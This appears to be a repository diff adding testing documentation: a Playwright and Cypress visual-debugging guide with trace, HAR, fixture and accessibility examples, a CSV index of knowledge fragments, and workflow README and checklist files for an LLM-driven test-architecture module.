- [ ] **Explicit waits**: Every navigation followed by `waitForResponse()` or state check
- [ ] **No hard waits**: Zero instances of `waitForTimeout()`, `cy.wait(number)`, `sleep()`
- [ ] **Element state waits**: Loading spinners use `waitFor({ state: 'detached' })`
- [ ] **Visibility checks**: Use `toBeVisible()` (accounts for animations), not just `toBeAttached()`
- [ ] **Response validation**: Wait for successful responses (`resp.ok()` or `status === 200`)
- [ ] **Trace viewer analysis**: Generate traces to identify timing issues (network waterfall, console errors)
- [ ] **CI/local parity**: Tests pass reliably in both environments (no timing assumptions)
## Integration Points
- **Used in workflows**: `*automate` (healing timing failures), `*test-review` (detect hard wait anti-patterns), `*framework` (configure timeout standards)
- **Related fragments**: `test-healing-patterns.md` (race condition diagnosis), `network-first.md` (interception patterns), `playwright-config.md` (timeout configuration), `visual-debugging.md` (trace viewer analysis)
- **Tools**: Playwright Inspector (`--debug`), Trace Viewer (`--trace on`), DevTools Network tab
_Source: Playwright timing best practices, network-first pattern from test-resources-for-ai, production race condition debugging_

View File

@@ -0,0 +1,524 @@
# Visual Debugging and Developer Ergonomics
## Principle
Fast feedback loops and transparent debugging artifacts are critical for maintaining test reliability and developer confidence. Visual debugging tools (trace viewers, screenshots, videos, HAR files) turn cryptic test failures into actionable insights, reducing triage time from hours to minutes.
## Rationale
**The Problem**: CI failures often provide minimal context—a timeout, a selector mismatch, or a network error—forcing developers to reproduce issues locally (if they can). This wastes time and discourages test maintenance.
**The Solution**: Capture rich debugging artifacts **only on failure** to balance storage costs with diagnostic value. Modern tools like Playwright Trace Viewer, Cypress Debug UI, and HAR recordings provide interactive, time-travel debugging that reveals exactly what the test saw at each step.
**Why This Matters**:
- Reduces failure triage time by 80-90% (visual context vs logs alone)
- Enables debugging without local reproduction
- Improves test maintenance confidence (clear failure root cause)
- Catches timing/race conditions that are hard to reproduce locally
## Pattern Examples
### Example 1: Playwright Trace Viewer Configuration (Production Pattern)
**Context**: Capture traces on first retry only (balances storage and diagnostics)
**Implementation**:
```typescript
// playwright.config.ts
import { defineConfig } from '@playwright/test';
export default defineConfig({
use: {
// Visual debugging artifacts (space-efficient)
trace: 'on-first-retry', // Only when test fails once
screenshot: 'only-on-failure', // Not on success
video: 'retain-on-failure', // Delete on pass
// Context for debugging
baseURL: process.env.BASE_URL || 'http://localhost:3000',
// Timeout context
actionTimeout: 15_000, // 15s for clicks/fills
navigationTimeout: 30_000, // 30s for page loads
},
// CI-specific artifact retention
reporter: [
['html', { outputFolder: 'playwright-report', open: 'never' }],
['junit', { outputFile: 'results.xml' }],
['list'], // Console output
],
// Failure handling
retries: process.env.CI ? 2 : 0, // Retry in CI to capture trace
workers: process.env.CI ? 1 : undefined,
});
```
**Opening and Using Trace Viewer**:
```bash
# After test failure in CI, download trace artifact
# Then open locally:
npx playwright show-trace path/to/trace.zip
# Or serve trace viewer:
npx playwright show-report
```
**Key Features to Use in Trace Viewer**:
1. **Timeline**: See each action (click, navigate, assertion) with timing
2. **Snapshots**: Hover over timeline to see DOM state at that moment
3. **Network Tab**: Inspect all API calls, headers, payloads, timing
4. **Console Tab**: View console.log/error messages
5. **Source Tab**: See test code with execution markers
6. **Metadata**: Browser, OS, test duration, screenshots
**Why This Works**:
- `on-first-retry` avoids capturing traces for flaky passes (saves storage)
- Screenshots + video give visual context without trace overhead
- Interactive timeline makes timing issues obvious (race conditions, slow API)
---
### Example 2: HAR File Recording for Network Debugging
**Context**: Capture all network activity for reproducible API debugging
**Implementation**:
```typescript
// tests/e2e/checkout-with-har.spec.ts
import { test, expect } from '@playwright/test';
import path from 'path';
test.describe('Checkout Flow with HAR Recording', () => {
test('should complete payment with full network capture', async ({ page, context }) => {
// Start HAR recording BEFORE navigation
await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
url: '**/api/**', // Only capture API calls
update: true, // Update HAR if file exists
});
await page.goto('/checkout');
// Interact with page
await page.getByTestId('payment-method').selectOption('credit-card');
await page.getByTestId('card-number').fill('4242424242424242');
await page.getByTestId('submit-payment').click();
// Wait for payment confirmation
await expect(page.getByTestId('success-message')).toBeVisible();
// HAR file saved to fixtures/checkout.har
// Contains all network requests/responses for replay
});
});
```
**Using HAR for Deterministic Mocking**:
```typescript
// tests/e2e/checkout-replay-har.spec.ts
import { test, expect } from '@playwright/test';
import path from 'path';
test('should replay checkout flow from HAR', async ({ page, context }) => {
// Replay network from HAR (no real API calls)
await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
url: '**/api/**',
update: false, // Read-only mode
});
await page.goto('/checkout');
// Same test, but network responses come from HAR file
await page.getByTestId('payment-method').selectOption('credit-card');
await page.getByTestId('card-number').fill('4242424242424242');
await page.getByTestId('submit-payment').click();
await expect(page.getByTestId('success-message')).toBeVisible();
});
```
**Key Points**:
- **`update: true`** records new HAR or updates existing (for flaky API debugging)
- **`update: false`** replays from HAR (deterministic, no real API)
- Filter by URL pattern (`**/api/**`) to avoid capturing static assets
- HAR files are human-readable JSON (easy to inspect/modify)
**When to Use HAR**:
- Debugging flaky tests caused by API timing/responses
- Creating deterministic mocks for integration tests
- Analyzing third-party API behavior (Stripe, Auth0)
- Reproducing production issues locally (record HAR in staging)
---
### Example 3: Custom Artifact Capture (Console Logs + Network on Failure)
**Context**: Capture additional debugging context automatically on test failure
**Implementation**:
```typescript
// playwright/support/fixtures/debug-fixture.ts
import { test as base } from '@playwright/test';
import fs from 'fs';
import path from 'path';
type DebugFixture = {
captureDebugArtifacts: () => Promise<void>;
};
export const test = base.extend<DebugFixture>({
captureDebugArtifacts: async ({ page }, use, testInfo) => {
const consoleLogs: string[] = [];
const networkRequests: Array<{ url: string; status: number; method: string }> = [];
// Capture console messages
page.on('console', (msg) => {
consoleLogs.push(`[${msg.type()}] ${msg.text()}`);
});
// Capture network requests
page.on('request', (request) => {
networkRequests.push({
url: request.url(),
method: request.method(),
status: 0, // Will be updated on response
});
});
page.on('response', (response) => {
const req = networkRequests.find((r) => r.url === response.url());
if (req) req.status = response.status();
});
await use(async () => {
// This function can be called manually in tests
// But it also runs automatically on failure via afterEach
});
// After test completes, save artifacts if failed
if (testInfo.status !== testInfo.expectedStatus) {
const artifactDir = path.join(testInfo.outputDir, 'debug-artifacts');
fs.mkdirSync(artifactDir, { recursive: true });
// Save console logs
fs.writeFileSync(path.join(artifactDir, 'console.log'), consoleLogs.join('\n'), 'utf-8');
// Save network summary
fs.writeFileSync(path.join(artifactDir, 'network.json'), JSON.stringify(networkRequests, null, 2), 'utf-8');
console.log(`Debug artifacts saved to: ${artifactDir}`);
}
},
});
```
**Usage in Tests**:
```typescript
// tests/e2e/payment-with-debug.spec.ts
import { test, expect } from '../support/fixtures/debug-fixture';
test('payment flow captures debug artifacts on failure', async ({ page, captureDebugArtifacts }) => {
await page.goto('/checkout');
// Test will automatically capture console + network on failure
await page.getByTestId('submit-payment').click();
await expect(page.getByTestId('success-message')).toBeVisible({ timeout: 5000 });
// If this fails, console.log and network.json saved automatically
});
```
**CI Integration (GitHub Actions)**:
```yaml
# .github/workflows/e2e.yml
name: E2E Tests with Artifacts
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version-file: '.nvmrc'
- name: Install dependencies
run: npm ci
- name: Run Playwright tests
run: npm run test:e2e
continue-on-error: true # Capture artifacts even on failure
- name: Upload test artifacts on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: playwright-artifacts
path: |
test-results/
playwright-report/
retention-days: 30
```
**Key Points**:
- Fixtures automatically capture context without polluting test code
- Only saves artifacts on failure (storage-efficient)
- CI uploads artifacts for post-mortem analysis
- `continue-on-error: true` ensures artifact upload even when tests fail
---
### Example 4: Accessibility Debugging Integration (axe-core in Trace Viewer)
**Context**: Catch accessibility regressions during visual debugging
**Implementation**:
```typescript
// playwright/support/fixtures/a11y-fixture.ts
import { test as base } from '@playwright/test';
import AxeBuilder from '@axe-core/playwright';
type A11yFixture = {
checkA11y: () => Promise<void>;
};
export const test = base.extend<A11yFixture>({
checkA11y: async ({ page }, use) => {
await use(async () => {
// Run axe accessibility scan
const results = await new AxeBuilder({ page }).analyze();
// Attach results to test report (visible in trace viewer)
if (results.violations.length > 0) {
console.log(`Found ${results.violations.length} accessibility violations:`);
results.violations.forEach((violation) => {
console.log(`- [${violation.impact}] ${violation.id}: ${violation.description}`);
console.log(` Help: ${violation.helpUrl}`);
});
throw new Error(`Accessibility violations found: ${results.violations.length}`);
}
});
},
});
```
**Usage with Visual Debugging**:
```typescript
// tests/e2e/checkout-a11y.spec.ts
import { test, expect } from '../support/fixtures/a11y-fixture';
test('checkout page is accessible', async ({ page, checkA11y }) => {
await page.goto('/checkout');
// Verify page loaded
await expect(page.getByRole('heading', { name: 'Checkout' })).toBeVisible();
// Run accessibility check
await checkA11y();
// If violations found, test fails and trace captures:
// - Screenshot showing the problematic element
// - Console log with violation details
// - Network tab showing any failed resource loads
});
```
**Trace Viewer Benefits**:
- **Screenshot shows visual context** of accessibility issue (contrast, missing labels)
- **Console tab shows axe-core violations** with impact level and helpUrl
- **DOM snapshot** allows inspecting ARIA attributes at failure point
- **Network tab** reveals if icon fonts or images failed (common a11y issue)
**Cypress Equivalent**:
```javascript
// cypress/support/commands.ts
import 'cypress-axe';
Cypress.Commands.add('checkA11y', (context = null, options = {}) => {
cy.injectAxe(); // Inject axe-core
cy.checkA11y(context, options, (violations) => {
if (violations.length) {
cy.task('log', `Found ${violations.length} accessibility violations`);
violations.forEach((violation) => {
cy.task('log', `- [${violation.impact}] ${violation.id}: ${violation.description}`);
});
}
});
});
// tests/e2e/checkout-a11y.cy.ts
describe('Checkout Accessibility', () => {
it('should have no a11y violations', () => {
cy.visit('/checkout');
cy.injectAxe();
cy.checkA11y();
// On failure, Cypress UI shows:
// - Screenshot of page
// - Console log with violation details
// - Network tab with API calls
});
});
```
**Key Points**:
- Accessibility checks integrate seamlessly with visual debugging
- Violations are captured in trace viewer/Cypress UI automatically
- Provides actionable links (helpUrl) to fix issues
- Screenshots show visual context (contrast, layout)
---
### Example 5: Time-Travel Debugging Workflow (Playwright Inspector)
**Context**: Debug tests interactively with step-through execution
**Implementation**:
```typescript
// tests/e2e/checkout-debug.spec.ts
import { test, expect } from '@playwright/test';
test('debug checkout flow step-by-step', async ({ page }) => {
// Set breakpoint by uncommenting this:
// await page.pause()
await page.goto('/checkout');
// Use Playwright Inspector to:
// 1. Step through each action
// 2. Inspect DOM at each step
// 3. View network calls per action
// 4. Take screenshots manually
await page.getByTestId('payment-method').selectOption('credit-card');
// Pause here to inspect form state
// await page.pause()
await page.getByTestId('card-number').fill('4242424242424242');
await page.getByTestId('submit-payment').click();
await expect(page.getByTestId('success-message')).toBeVisible();
});
```
**Running with Inspector**:
```bash
# Open Playwright Inspector (GUI debugger)
npx playwright test --debug
# Or use headed mode with slowMo
npx playwright test --headed --slow-mo=1000
# Debug specific test
npx playwright test checkout-debug.spec.ts --debug
# Set environment variable for persistent debugging
PWDEBUG=1 npx playwright test
```
**Inspector Features**:
1. **Step-through execution**: Click "Next" to execute one action at a time
2. **DOM inspector**: Hover over elements to see selectors
3. **Network panel**: See API calls with timing
4. **Console panel**: View console.log output
5. **Pick locator**: Click element in browser to get selector
6. **Record mode**: Record interactions to generate test code
**Common Debugging Patterns**:
```typescript
// Pattern 1: Debug selector issues
test('debug selector', async ({ page }) => {
await page.goto('/dashboard');
await page.pause(); // Inspector opens
// In Inspector console, test selectors:
// page.getByTestId('user-menu') ✅
// page.getByRole('button', { name: 'Profile' }) ✅
// page.locator('.btn-primary') ❌ (fragile)
});
// Pattern 2: Debug timing issues
test('debug network timing', async ({ page }) => {
await page.goto('/dashboard');
// Set up network listener BEFORE interaction
const responsePromise = page.waitForResponse('**/api/users');
await page.getByTestId('load-users').click();
await page.pause(); // Check network panel for timing
const response = await responsePromise;
expect(response.status()).toBe(200);
});
// Pattern 3: Debug state changes
test('debug state mutation', async ({ page }) => {
await page.goto('/cart');
// Check initial state
await expect(page.getByTestId('cart-count')).toHaveText('0');
await page.pause(); // Inspect DOM
await page.getByTestId('add-to-cart').click();
await page.pause(); // Inspect DOM again (compare state)
await expect(page.getByTestId('cart-count')).toHaveText('1');
});
```
**Key Points**:
- `page.pause()` opens Inspector at that exact moment
- Inspector shows DOM state, network activity, console at pause point
- "Pick locator" feature helps find robust selectors
- Record mode generates test code from manual interactions
---
## Visual Debugging Checklist
Before deploying tests to CI, ensure:
- [ ] **Artifact configuration**: `trace: 'on-first-retry'`, `screenshot: 'only-on-failure'`, `video: 'retain-on-failure'`
- [ ] **CI artifact upload**: GitHub Actions/GitLab CI configured to upload `test-results/` and `playwright-report/`
- [ ] **HAR recording**: Set up for flaky API tests (record once, replay deterministically)
- [ ] **Custom debug fixtures**: Console logs + network summary captured on failure
- [ ] **Accessibility integration**: axe-core violations visible in trace viewer
- [ ] **Trace viewer docs**: README explains how to open traces locally (`npx playwright show-trace`)
- [ ] **Inspector workflow**: Document `--debug` flag for interactive debugging
- [ ] **Storage optimization**: Artifacts deleted after 30 days (CI retention policy)
## Integration Points
- **Used in workflows**: `*framework` (initial setup), `*ci` (artifact upload), `*test-review` (validate artifact config)
- **Related fragments**: `playwright-config.md` (artifact configuration), `ci-burn-in.md` (CI artifact upload), `test-quality.md` (debugging best practices)
- **Tools**: Playwright Trace Viewer, Cypress Debug UI, axe-core, HAR files
_Source: Playwright official docs, Murat testing philosophy (visual debugging manifesto), enterprise production debugging patterns_

View File

@@ -0,0 +1,43 @@
id,name,description,tags,tier,fragment_file
fixture-architecture,Fixture Architecture,"Composable fixture patterns (pure function → fixture → merge) and reuse rules","fixtures,architecture,playwright,cypress",core,knowledge/fixture-architecture.md
network-first,Network-First Safeguards,"Intercept-before-navigate workflow, HAR capture, deterministic waits, edge mocking","network,stability,playwright,cypress,ui",core,knowledge/network-first.md
data-factories,Data Factories and API Setup,"Factories with overrides, API seeding, cleanup discipline","data,factories,setup,api,backend,seeding",core,knowledge/data-factories.md
component-tdd,Component TDD Loop,"Red→green→refactor workflow, provider isolation, accessibility assertions","component-testing,tdd,ui",extended,knowledge/component-tdd.md
playwright-config,Playwright Config Guardrails,"Environment switching, timeout standards, artifact outputs","playwright,config,env",extended,knowledge/playwright-config.md
ci-burn-in,CI and Burn-In Strategy,"Staged jobs, shard orchestration, burn-in loops, artifact policy","ci,automation,flakiness",extended,knowledge/ci-burn-in.md
selective-testing,Selective Test Execution,"Tag/grep usage, spec filters, diff-based runs, promotion rules","risk-based,selection,strategy",extended,knowledge/selective-testing.md
feature-flags,Feature Flag Governance,"Enum management, targeting helpers, cleanup, release checklists","feature-flags,governance,launchdarkly",specialized,knowledge/feature-flags.md
contract-testing,Contract Testing Essentials,"Pact publishing, provider verification, resilience coverage","contract-testing,pact,api,backend,microservices,service-contract",specialized,knowledge/contract-testing.md
email-auth,Email Authentication Testing,"Magic link extraction, state preservation, caching, negative flows","email-authentication,security,workflow",specialized,knowledge/email-auth.md
error-handling,Error Handling Checks,"Scoped exception handling, retry validation, telemetry logging","resilience,error-handling,stability,api,backend",extended,knowledge/error-handling.md
visual-debugging,Visual Debugging Toolkit,"Trace viewer usage, artifact expectations, accessibility integration","debugging,dx,tooling,ui",specialized,knowledge/visual-debugging.md
risk-governance,Risk Governance,"Scoring matrix, category ownership, gate decision rules","risk,governance,gates",core,knowledge/risk-governance.md
probability-impact,Probability and Impact Scale,"Shared definitions for scoring matrix and gate thresholds","risk,scoring,scale",core,knowledge/probability-impact.md
test-quality,Test Quality Definition of Done,"Execution limits, isolation rules, green criteria","quality,definition-of-done,tests",core,knowledge/test-quality.md
nfr-criteria,NFR Review Criteria,"Security, performance, reliability, maintainability status definitions","nfr,assessment,quality",extended,knowledge/nfr-criteria.md
test-levels,Test Levels Framework,"Guidelines for choosing unit, integration, or end-to-end coverage","testing,levels,selection,api,backend,ui",core,knowledge/test-levels-framework.md
test-priorities,Test Priorities Matrix,"P0P3 criteria, coverage targets, execution ordering","testing,prioritization,risk",core,knowledge/test-priorities-matrix.md
test-healing-patterns,Test Healing Patterns,"Common failure patterns and automated fixes","healing,debugging,patterns",core,knowledge/test-healing-patterns.md
selector-resilience,Selector Resilience,"Robust selector strategies and debugging techniques","selectors,locators,debugging,ui",core,knowledge/selector-resilience.md
timing-debugging,Timing Debugging,"Race condition identification and deterministic wait fixes","timing,async,debugging",extended,knowledge/timing-debugging.md
overview,Playwright Utils Overview,"Installation, design principles, fixture patterns for API and UI testing","playwright-utils,fixtures,api,backend,ui",core,knowledge/overview.md
api-request,API Request,"Typed HTTP client, schema validation, retry logic, operation-based overload for API and service testing","api,backend,service-testing,api-testing,playwright-utils,openapi,codegen,operation",core,knowledge/api-request.md
network-recorder,Network Recorder,"HAR record/playback, CRUD detection for offline UI testing","network,playwright-utils,ui,har",extended,knowledge/network-recorder.md
auth-session,Auth Session,"Token persistence, multi-user, API and browser authentication","auth,playwright-utils,api,backend,jwt,token",core,knowledge/auth-session.md
intercept-network-call,Intercept Network Call,"Network spy/stub, JSON parsing for UI tests","network,playwright-utils,ui",extended,knowledge/intercept-network-call.md
recurse,Recurse Polling,"Async polling for API responses, background jobs, eventual consistency","polling,playwright-utils,api,backend,async,eventual-consistency",extended,knowledge/recurse.md
log,Log Utility,"Report logging, structured output for API and UI tests","logging,playwright-utils,api,ui",extended,knowledge/log.md
file-utils,File Utilities,"CSV/XLSX/PDF/ZIP validation for API exports and UI downloads","files,playwright-utils,api,backend,ui",extended,knowledge/file-utils.md
burn-in,Burn-in Runner,"Smart test selection, git diff for CI optimization","ci,playwright-utils",extended,knowledge/burn-in.md
network-error-monitor,Network Error Monitor,"HTTP 4xx/5xx detection for UI tests","monitoring,playwright-utils,ui",extended,knowledge/network-error-monitor.md
fixtures-composition,Fixtures Composition,"mergeTests composition patterns for combining utilities","fixtures,playwright-utils",extended,knowledge/fixtures-composition.md
api-testing-patterns,API Testing Patterns,"Pure API test patterns without browser: service testing, microservices, GraphQL","api,backend,service-testing,api-testing,microservices,graphql,no-browser",specialized,knowledge/api-testing-patterns.md
pactjs-utils-overview,Pact.js Utils Overview,"Installation, contract testing flows, utility table (createProviderState, toJsonMap, setJsonContent, setJsonBody)","pactjs-utils,contract-testing,pact,api,backend,microservices",specialized,knowledge/pactjs-utils-overview.md
pactjs-utils-consumer-helpers,Pact.js Utils Consumer Helpers,"createProviderState, toJsonMap, setJsonContent, setJsonBody for consumer-side Pact helpers","pactjs-utils,consumer,contract-testing,pact,api",specialized,knowledge/pactjs-utils-consumer-helpers.md
pactjs-utils-provider-verifier,Pact.js Utils Provider Verifier,"buildVerifierOptions, buildMessageVerifierOptions for provider verification","pactjs-utils,provider,contract-testing,pact,api,backend,ci",specialized,knowledge/pactjs-utils-provider-verifier.md
pactjs-utils-request-filter,Pact.js Utils Request Filter,"createRequestFilter, noOpRequestFilter for auth injection","pactjs-utils,auth,contract-testing,pact",specialized,knowledge/pactjs-utils-request-filter.md
pact-mcp,Pact MCP Server,"SmartBear MCP for PactFlow: generate tests, review, can-i-deploy, provider states","pact,mcp,pactflow,contract-testing,broker",specialized,knowledge/pact-mcp.md
pact-consumer-framework-setup,Pact Consumer CDC Framework Setup,"Directory structure, vitest config, shell scripts, CI workflow, PactV4 patterns for consumer CDC","pactjs-utils,consumer,contract-testing,pact,ci,framework,setup,vitest,shell-scripts",specialized,knowledge/pact-consumer-framework-setup.md
adr-quality-readiness-checklist,ADR Quality Readiness Checklist,"8-category 29-criteria framework for ADR testability and NFR assessment","nfr,testability,adr,quality,assessment,checklist",extended,knowledge/adr-quality-readiness-checklist.md
playwright-cli,Playwright CLI,"Token-efficient CLI for AI coding agents: element refs, sessions, snapshots, browser automation","cli,browser,agent,automation,snapshot",core,knowledge/playwright-cli.md
pact-consumer-di,Pact Consumer DI Pattern,"Dependency injection pattern for Pact consumer tests — call actual source code instead of raw fetch by injecting mock server URL via optional baseUrl in context type","contract-testing,pact,consumer,dependency-injection,api,backend,architecture",extended,knowledge/pact-consumer-di.md
1 id name description tags tier fragment_file
2 fixture-architecture Fixture Architecture Composable fixture patterns (pure function → fixture → merge) and reuse rules fixtures,architecture,playwright,cypress core knowledge/fixture-architecture.md
3 network-first Network-First Safeguards Intercept-before-navigate workflow, HAR capture, deterministic waits, edge mocking network,stability,playwright,cypress,ui core knowledge/network-first.md
4 data-factories Data Factories and API Setup Factories with overrides, API seeding, cleanup discipline data,factories,setup,api,backend,seeding core knowledge/data-factories.md
5 component-tdd Component TDD Loop Red→green→refactor workflow, provider isolation, accessibility assertions component-testing,tdd,ui extended knowledge/component-tdd.md
6 playwright-config Playwright Config Guardrails Environment switching, timeout standards, artifact outputs playwright,config,env extended knowledge/playwright-config.md
7 ci-burn-in CI and Burn-In Strategy Staged jobs, shard orchestration, burn-in loops, artifact policy ci,automation,flakiness extended knowledge/ci-burn-in.md
8 selective-testing Selective Test Execution Tag/grep usage, spec filters, diff-based runs, promotion rules risk-based,selection,strategy extended knowledge/selective-testing.md
9 feature-flags Feature Flag Governance Enum management, targeting helpers, cleanup, release checklists feature-flags,governance,launchdarkly specialized knowledge/feature-flags.md
10 contract-testing Contract Testing Essentials Pact publishing, provider verification, resilience coverage contract-testing,pact,api,backend,microservices,service-contract specialized knowledge/contract-testing.md
11 email-auth Email Authentication Testing Magic link extraction, state preservation, caching, negative flows email-authentication,security,workflow specialized knowledge/email-auth.md
12 error-handling Error Handling Checks Scoped exception handling, retry validation, telemetry logging resilience,error-handling,stability,api,backend extended knowledge/error-handling.md
13 visual-debugging Visual Debugging Toolkit Trace viewer usage, artifact expectations, accessibility integration debugging,dx,tooling,ui specialized knowledge/visual-debugging.md
14 risk-governance Risk Governance Scoring matrix, category ownership, gate decision rules risk,governance,gates core knowledge/risk-governance.md
15 probability-impact Probability and Impact Scale Shared definitions for scoring matrix and gate thresholds risk,scoring,scale core knowledge/probability-impact.md
16 test-quality Test Quality Definition of Done Execution limits, isolation rules, green criteria quality,definition-of-done,tests core knowledge/test-quality.md
17 nfr-criteria NFR Review Criteria Security, performance, reliability, maintainability status definitions nfr,assessment,quality extended knowledge/nfr-criteria.md
18 test-levels Test Levels Framework Guidelines for choosing unit, integration, or end-to-end coverage testing,levels,selection,api,backend,ui core knowledge/test-levels-framework.md
19 test-priorities Test Priorities Matrix P0–P3 criteria, coverage targets, execution ordering testing,prioritization,risk core knowledge/test-priorities-matrix.md
20 test-healing-patterns Test Healing Patterns Common failure patterns and automated fixes healing,debugging,patterns core knowledge/test-healing-patterns.md
21 selector-resilience Selector Resilience Robust selector strategies and debugging techniques selectors,locators,debugging,ui core knowledge/selector-resilience.md
22 timing-debugging Timing Debugging Race condition identification and deterministic wait fixes timing,async,debugging extended knowledge/timing-debugging.md
23 overview Playwright Utils Overview Installation, design principles, fixture patterns for API and UI testing playwright-utils,fixtures,api,backend,ui core knowledge/overview.md
24 api-request API Request Typed HTTP client, schema validation, retry logic, operation-based overload for API and service testing api,backend,service-testing,api-testing,playwright-utils,openapi,codegen,operation core knowledge/api-request.md
25 network-recorder Network Recorder HAR record/playback, CRUD detection for offline UI testing network,playwright-utils,ui,har extended knowledge/network-recorder.md
26 auth-session Auth Session Token persistence, multi-user, API and browser authentication auth,playwright-utils,api,backend,jwt,token core knowledge/auth-session.md
27 intercept-network-call Intercept Network Call Network spy/stub, JSON parsing for UI tests network,playwright-utils,ui extended knowledge/intercept-network-call.md
28 recurse Recurse Polling Async polling for API responses, background jobs, eventual consistency polling,playwright-utils,api,backend,async,eventual-consistency extended knowledge/recurse.md
29 log Log Utility Report logging, structured output for API and UI tests logging,playwright-utils,api,ui extended knowledge/log.md
30 file-utils File Utilities CSV/XLSX/PDF/ZIP validation for API exports and UI downloads files,playwright-utils,api,backend,ui extended knowledge/file-utils.md
31 burn-in Burn-in Runner Smart test selection, git diff for CI optimization ci,playwright-utils extended knowledge/burn-in.md
32 network-error-monitor Network Error Monitor HTTP 4xx/5xx detection for UI tests monitoring,playwright-utils,ui extended knowledge/network-error-monitor.md
33 fixtures-composition Fixtures Composition mergeTests composition patterns for combining utilities fixtures,playwright-utils extended knowledge/fixtures-composition.md
34 api-testing-patterns API Testing Patterns Pure API test patterns without browser: service testing, microservices, GraphQL api,backend,service-testing,api-testing,microservices,graphql,no-browser specialized knowledge/api-testing-patterns.md
35 pactjs-utils-overview Pact.js Utils Overview Installation, contract testing flows, utility table (createProviderState, toJsonMap, setJsonContent, setJsonBody) pactjs-utils,contract-testing,pact,api,backend,microservices specialized knowledge/pactjs-utils-overview.md
36 pactjs-utils-consumer-helpers Pact.js Utils Consumer Helpers createProviderState, toJsonMap, setJsonContent, setJsonBody for consumer-side Pact helpers pactjs-utils,consumer,contract-testing,pact,api specialized knowledge/pactjs-utils-consumer-helpers.md
37 pactjs-utils-provider-verifier Pact.js Utils Provider Verifier buildVerifierOptions, buildMessageVerifierOptions for provider verification pactjs-utils,provider,contract-testing,pact,api,backend,ci specialized knowledge/pactjs-utils-provider-verifier.md
38 pactjs-utils-request-filter Pact.js Utils Request Filter createRequestFilter, noOpRequestFilter for auth injection pactjs-utils,auth,contract-testing,pact specialized knowledge/pactjs-utils-request-filter.md
39 pact-mcp Pact MCP Server SmartBear MCP for PactFlow: generate tests, review, can-i-deploy, provider states pact,mcp,pactflow,contract-testing,broker specialized knowledge/pact-mcp.md
40 pact-consumer-framework-setup Pact Consumer CDC Framework Setup Directory structure, vitest config, shell scripts, CI workflow, PactV4 patterns for consumer CDC pactjs-utils,consumer,contract-testing,pact,ci,framework,setup,vitest,shell-scripts specialized knowledge/pact-consumer-framework-setup.md
41 adr-quality-readiness-checklist ADR Quality Readiness Checklist 8-category 29-criteria framework for ADR testability and NFR assessment nfr,testability,adr,quality,assessment,checklist extended knowledge/adr-quality-readiness-checklist.md
42 playwright-cli Playwright CLI Token-efficient CLI for AI coding agents: element refs, sessions, snapshots, browser automation cli,browser,agent,automation,snapshot core knowledge/playwright-cli.md
43 pact-consumer-di Pact Consumer DI Pattern Dependency injection pattern for Pact consumer tests — call actual source code instead of raw fetch by injecting mock server URL via optional baseUrl in context type contract-testing,pact,consumer,dependency-injection,api,backend,architecture extended knowledge/pact-consumer-di.md

View File

@@ -0,0 +1,74 @@
# TEA Workflow Step Files
This folder contains the Test Architect (TEA) workflows converted to step-file architecture for strict LLM compliance. Each workflow is tri-modal (create, edit, validate) and uses small, ordered step files instead of a single monolithic instruction file.
## Why Step Files
- Enforces sequential execution and prevents improvisation
- Keeps context small and focused per step
- Makes validation and edits deterministic
## Standard Layout (per workflow)
```
<workflow>/
├── workflow.md # Mode routing (create / edit / validate)
├── workflow-plan.md # Design reference for step order and intent
├── workflow.yaml # Installer metadata
├── instructions.md # Short entrypoint / summary
├── checklist.md # Validation criteria for outputs
├── steps-c/ # Create mode steps
├── steps-e/ # Edit mode steps
├── steps-v/ # Validate mode steps
├── templates/ # Output templates (if applicable)
└── validation-report-*.md # Validator outputs (latest run)
```
## Modes
- **Create (steps-c/):** Primary execution flow to generate outputs
- **Edit (steps-e/):** Structured edits to existing outputs
- **Validate (steps-v/):** Checklist-based validation of outputs
## Execution Rules (Summary)
- Load **one step at a time**. Do not preload future steps.
- Follow the **MANDATORY SEQUENCE** exactly in each step.
- Do not skip steps, reorder, or improvise.
- If a step writes outputs, do so **before** loading the next step.
## Step Naming Conventions
- `step-01-*.md` is the init step (no menus unless explicitly required).
- `step-01b-*.md` is a continuation/resume step if the workflow is continuable.
- `step-0X-*.md` are sequential create-mode steps.
- `steps-v/step-01-validate.md` is the validate mode entrypoint.
- `steps-e/step-01-assess.md` is the edit mode entrypoint.
## Validation
- Each workflow has a latest `validation-report-*.md` in its folder.
- Validation uses the BMad Builder workflow validator (workflow-builder).
- The goal is 100% compliance with no warnings.
## References
- Step-file architecture: `docs/explanation/step-file-architecture.md`
- Subagent patterns: `docs/explanation/subagent-architecture.md`
## TEA Workflows
- test-design
- automate
- atdd
- test-review
- trace
- framework
- ci
- nfr-assess
## Notes
- `workflow.md` is the canonical entrypoint. `instructions.md` is a short summary for quick context.
- Output files typically use `{test_artifacts}` or `{project-root}` variables.
- If a workflow produces multiple artifacts (e.g., system-level vs epic-level), the step file will specify which templates and output paths to use.

View File

@@ -0,0 +1,6 @@
---
name: bmad-teach-me-testing
description: 'Teach testing progressively through structured sessions. Use when user says "lets learn testing" or "I want to study test practices"'
---
Follow the instructions in [workflow.md](workflow.md).

View File

@@ -0,0 +1 @@
type: skill

View File

@@ -0,0 +1,197 @@
# Teach Me Testing - Quality Checklist
## Workflow Quality Standards
Use this checklist to validate the teaching workflow meets quality standards.
---
## Foundation Quality
- [ ] **workflow.md** exists with proper frontmatter
- [ ] Tri-modal routing logic present (Create/Edit/Validate)
- [ ] Configuration loading references correct module (TEA)
- [ ] First step path correct (`./steps-c/step-01-init.md`)
- [ ] Folder structure complete (steps-c/, steps-e/, steps-v/, data/, templates/)
---
## Template Quality
- [ ] **progress-template.yaml** has complete schema
- [ ] All 7 sessions defined with proper structure
- [ ] Session status tracking fields present (not-started/in-progress/completed)
- [ ] stepsCompleted array for continuation tracking
- [ ] **session-notes-template.md** has all required sections
- [ ] **certificate-template.md** includes all 7 sessions
---
## Step File Quality (CREATE mode)
### Initialization Steps
- [ ] **step-01-init.md** checks for existing progress file
- [ ] Continuation detection logic works correctly
- [ ] **step-01b-continue.md** loads progress and routes to session menu
- [ ] Progress dashboard displays completion status
### Assessment Step
- [ ] **step-02-assess.md** gathers role, experience, goals
- [ ] Validation for role (QA/Dev/Lead/VP)
- [ ] Validation for experience (beginner/intermediate/experienced)
- [ ] Assessment data written to progress file
### Session Menu Hub
